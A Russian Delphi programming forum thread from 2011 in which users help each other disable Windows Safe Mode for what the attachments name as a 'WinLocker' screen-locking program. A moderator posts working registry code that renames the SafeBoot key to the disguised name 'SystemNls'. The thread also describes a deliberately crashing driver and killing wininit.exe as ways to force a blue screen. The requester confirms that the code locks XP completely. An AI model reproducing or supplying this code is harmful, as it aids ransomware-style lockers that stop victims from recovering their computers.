Среда, 27.12.2017, 13:15 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 1 1
Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024  
delfcode » Delphi » Вопросы по Delphi » Запрет безопастного режима или экран смерти
Запрет безопастного режима или экран смерти
Just_Crow Дата: Вторник, 16.08.2011, 18:57 | Сообщение # 1
Частый гость
Зарегистрирован: 13.08.2011
Группа: Пользователи
Сообщений: 27
Статус: Offline
Code
KeyPreview:=true;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\minimal','System\CurrentControlSet\Control\SafeBoot\M',true);
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',True);

все прекрасно, но при тесте выяснилось что блокируется (на XP в частности) только безопастный режим с подержкой драйверов, а обычному трын трава | возможно ли чтобы отрубалось все?
 
Neo Дата: Среда, 17.08.2011, 09:32 | Сообщение # 2
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 316
Статус: Offline
Не знаю,как на счёт отрубки БР,то синий экран смерти я обеспечить могу smile .Короче,пришлось написать для этого драйвер
(правда он на С.Но кто виноват,что статьи по написанию драйверов в основном на С?) и приложение (на delphi,естественно).
В драйвере я специально допустил такую ошибку:
в момент загрузки беру число и делю его на нуль!Вот и вызывается BSOD.Для компиляции драйвера нужно использовать ddk.Я использовал 2600.1106.Вот исходничек:
Прикрепления: BSOD.rar(159Kb)


Сообщение отредактировал Neo - Среда, 17.08.2011, 09:33
 
dolphin Дата: Среда, 17.08.2011, 11:29 | Сообщение # 3
Администратор
Сообщений: 902
Статус: Offline
Just_Crow, попробуй переименовать сам ключ SafeBoot, потому что названия minimal и NetWork говорят сами за себя.

а проэкран смерти - лично у меня на семёрке получилось схватить его делая таскил wininit.exe ))) чисто случайно в процессе разработки обнаружил. Думаю что и в хр найдётся подобный критический процесс


Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик


Сообщение отредактировал dolphin - Среда, 17.08.2011, 11:35
 
Just_Crow Дата: Среда, 17.08.2011, 12:23 | Сообщение # 4
Частый гость
Зарегистрирован: 13.08.2011
Группа: Пользователи
Сообщений: 27
Статус: Offline
Quote (Neo)
Не знаю,как на счёт отрубки БР,то синий экран смерти я обеспечить могу

Мне надо чтобы только в Бр экран смерти))) а по твоему посту чет навеяло что мообще запускаться не будет не один режим :-D так? или ошибаюсь
 
Neo Дата: Среда, 17.08.2011, 14:43 | Сообщение # 5
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 316
Статус: Offline
Я просто показал как можно вызвать BSOD.А если
Quote
Мне надо чтобы только в Бр экран смерти
,то это легко)))
Вот:
Code
Procedure SafeBoot(Block: Boolean); {true -заблочить,false - разблочить}
Var Reg:TRegistry;
Begin
    Reg:=TRegistry.Create;
Try
    Reg.RootKey:=HKEY_LOCAL_MACHINE;
    Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True);
    If Block Then
    Begin
      Reg.MoveKey('SafeBoot','SystemNls',True);
      Reg.Free;
    End    Else
    Begin
      Reg.MoveKey('SystemNls','SafeBoot', True);
      Reg.Free;
      End;
Except
    Reg.Free;
   End;
End;

Я сделал пример на том винлокере,вот как будет:
P.S интересные модули
Прикрепления: WinLocker.rar(185Kb)


Сообщение отредактировал Neo - Среда, 17.08.2011, 14:44
 
Just_Crow Дата: Среда, 17.08.2011, 19:16 | Сообщение # 6
Частый гость
Зарегистрирован: 13.08.2011
Группа: Пользователи
Сообщений: 27
Статус: Offline
Neo, еще раз благодарю! лучше и быть не может хпишку блочит на смерть
 
delfcode » Delphi » Вопросы по Delphi » Запрет безопастного режима или экран смерти
Страница 1 из 1 1
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz